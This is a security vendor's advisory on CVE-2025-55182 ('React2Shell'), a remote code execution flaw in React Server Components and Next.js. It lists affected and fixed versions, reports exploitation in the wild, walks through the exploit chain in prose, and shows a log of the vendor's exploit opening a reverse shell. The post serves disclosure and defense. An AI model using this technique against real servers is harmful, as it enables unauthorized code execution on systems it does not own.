- CVE-2025-55182, also known as React2Shell, is a CVSS 10 remote code execution vulnerability in React Server Components and Next.js that was disclosed on December 3, 2025.
- VulnCheck's research team has confirmed the vulnerability is exploitable for unauthenticated RCE in default Next.js apps, which are expected to be the main attack vector(s). A weaponized exploit is available to VulnCheck Initial Access Intelligence customers.
- Multiple proof-of-concept RCE exploits are publicly available as of December 4, and the vulnerability is being broadly and opportunistically exploited in the wild.
- VulnCheck's canary network is detecting hundreds of exploit attempts; Amazon also reports attempts linked to China-nexus threat actors.
Background
On December 3, 2025, React developers disclosed CVE-2025-55182, an unauthenticated remote code execution vulnerability with a CVSS score of 10 that was reported to the vendor on November 29, only four days before it was fixed. CVE-2025-55182, nicknamed "React2Shell," ultimately arises from an unsafe deserialization issue in React Server Components, specifically React Flight. When a server receives a specially crafted React Flight payload, the internal deserialization logic performs insufficient validation of its structure. By exploiting this weakness, an attacker can cause React to misinterpret attacker-controlled values as internal references or objects. This permits unintended server-side behaviors and can lead to the execution of server-privileged code paths within the React Server Components runtime.
Exploitation in the wild
The vulnerability wasn't known to be exploited in the wild at time of disclosure but began seeing exploit attempts shortly after a public PoC was released on December 4. VulnCheck's Canary Intelligence network began detecting exploitative (malicious) scanning on December 4. Amazon has also reported seeing exploit attempts by China-nexus threat groups, including Earth Lamia and Jackpot Panda.
Saturday, December 6 update: VulnCheck's canaries are now seeing hundreds of exploit attempts. Broad, opportunistic scanning and exploitation are ongoing, and Vercel is offering large bounties for anyone who reports successful WAF bypasses.
What’s affected?
Per the React team’s advisory, the vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack
The issue is fixed in versions 19.0.1, 19.1.2, and 19.2.1 of React. Fixes should be applied on an emergency basis, as widespread exploit attempts are likely.
Known affected React frameworks and bundlers are as follows, but note that this list is likely to grow: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk. See the React blog for the latest information on affected frameworks and components.
The React blog explicitly notes that (emphasis ours):
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
The Next.js team similarly has a security bulletin here advising users of stable 15.x and 16.x version streams to update to a fixed version immediately. Fixed versions of Next.js are 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, and 16.0.7. Note: The vulnerability was initially tracked in Next.js as CVE-2025-66478, but that CVE identifier was rejected as a duplicate of CVE-2025-55182.
VulnCheck RCE analysis
Next.js includes a general mechanism for handling React Server Actions, which relies on React’s server-side Flight deserializer. In our testing for CVE-2025-55182, this deserialization logic appears to be reachable by default, without requiring the presence of user-defined Server Actions or any route-specific discovery. This is a result of the fact that Next.js uses server-side rendering (SSR) by default in vulnerable versions.
CVE-2025-55182 stems from the use of the React Flight Protocol and the BusBoy HTTP handling library interacting with SSR in vulnerable Next.js applications. The React Flight Protocol handles SSR requests in a chunked manner, which enables React to incrementally update modified components from the SSR processing, and also allows chunks to reference each other. Before the vulnerability was patched, the React Flight Protocol did not validate that the object references were set to the correct object, which allows for the prototype to be reached from the Flight Protocol. Interestingly, the first chunk request also allows for the then function constructor to be overridden and directly called by await.
Using the classic constructor.constructor trick, it is then possible to combine the previous then and await components to reach [native code] JavaScript generation. Initially this was a difficult sticking point for researchers: It was possible to generate machine code, but we were missing a step for actually getting the code to evaluate in order to prove arbitrary code execution.
The original vulnerability finder, lachlan2k, along with GitHub user maple3142, identified that the Flight Protocol chunk resolution with $@ syntax cleverly resolves its own chunk, and then further overrides Chunk.prototype.then, allowing the object to be directly referenced and providing access to the initializeModelChunk properties.
Lachlan2k discovered that it was possible to directly set the expected properties required for _request to validate by using multiple nested chunks that will properly resolve the types. In the maple3142 variant, this technique is then used again to recursively read the object in order to override the chunk’s then value and a set of required values for initializeModelChunk properties for the associated _response field (and passing their validation checks). Both variants then use the React Flight Protocol $B type to initialize _prefix type for validation. Once all the chunk’s properties are validated and controlled, the final step is to override the prototype for the calls to _formData.get for the function response._formData.get(response._prefix + "0"), which allows us to finally evaluate the generated native code.
In the end, it took two recursive calls through the React Flight Protocol and multiple nested calls to achieve remote code execution. Our exploit is fully weaponized and results in a reverse shell:
❯ ./build/CVE-2025-55182_linux-arm64 -e -c2 SSLShellServer -rhost 127.0.0.1 -rport 3002 -lhost 127.0.0.1 -lport 8888
time=2025-12-04T17:49:38.018-05:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2025-12-04T17:49:38.119-05:00 level=STATUS msg="Starting TLS listener on 127.0.0.1:8888"
time=2025-12-04T17:49:38.119-05:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=3002 ssl=false "ssl auto"=false
time=2025-12-04T17:49:39.868-05:00 level=SUCCESS msg="Caught new shell from 127.0.0.1:47158"
time=2025-12-04T17:49:39.868-05:00 level=STATUS msg="Active shell from 127.0.0.1:47158"
$ id
uid=1000(parallels) gid=1000(parallels) groups=1000(parallels),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
time=2025-12-04T17:49:48.120-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
exit
time=2025-12-04T17:50:00.784-05:00 level=STATUS msg="C2 received shutdown, killing server and client sockets for SSL shell server"
time=2025-12-04T17:50:00.784-05:00 level=STATUS msg="Connection closed: 127.0.0.1:47158"
time=2025-12-04T17:50:00.784-05:00 level=STATUS msg="C2 server exited"
As usual, our research team analyzed and summarily discarded many of the early public PoCs, most of which were AI-generated or fake (or derivatives of something AI-generated or fake). Several early PoCs demonstrated contrived exploitation scenarios that didn't represent real-world attack paths. Detections based on fake or contrived PoCs are likely to return false negatives or otherwise generate bad data. Many organizations have also struggled to precisely fingerprint vulnerable React and Next.js applications, which is evident in the sky-high ASM query results we've seen posted to gauge internet exposure (i.e., millions). Our team has ASM queries available to Initial Access Intelligence customers that significantly narrows results down to limit false positives (and filters out many of the honeypot results on the public internet).
VulnCheck customers
The following artifacts are available to Initial Access Intelligence customers:
- A weaponized unauthenticated remote code execution exploit, along with associated PCAPs, Suricata, and Snort rules — network rules have also been updated to detect PoC variants released by the vulnerability finder
- As of December 9, the team has progressively added exploit support for five different React2Shell variants, including Next.js (bash), Next.js in memory, Next.js with Unicode obfuscation, React Router (with experimental RSC support enabled), and Expo (with experimental RSC support enabled)
- Accompanying signatures and PCAPs are available for all variants
- Targeted ASM queries for vulnerable Next.js applications
- A targeted vulnerability check to identify vulnerable Next.js applications
- A PCAP and Suricata and Snort rules for the specific version scanner released by SearchLight Cyber
- A PCAP and Suricata and Snort rules for VulnCheck's own vulnerability check
As always, VulnCheck vulnerability and exploit data continues to update with the latest intelligence and artifacts.
About VulnCheck
The VulnCheck research team is always on the lookout for new vulnerabilities to analyze and curate. For more research like this, see XWiki Under Increased Attack, VulnCheck Research Highlights: November 2025, and ICTBroadcast Command Injection Actively Exploited.
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence.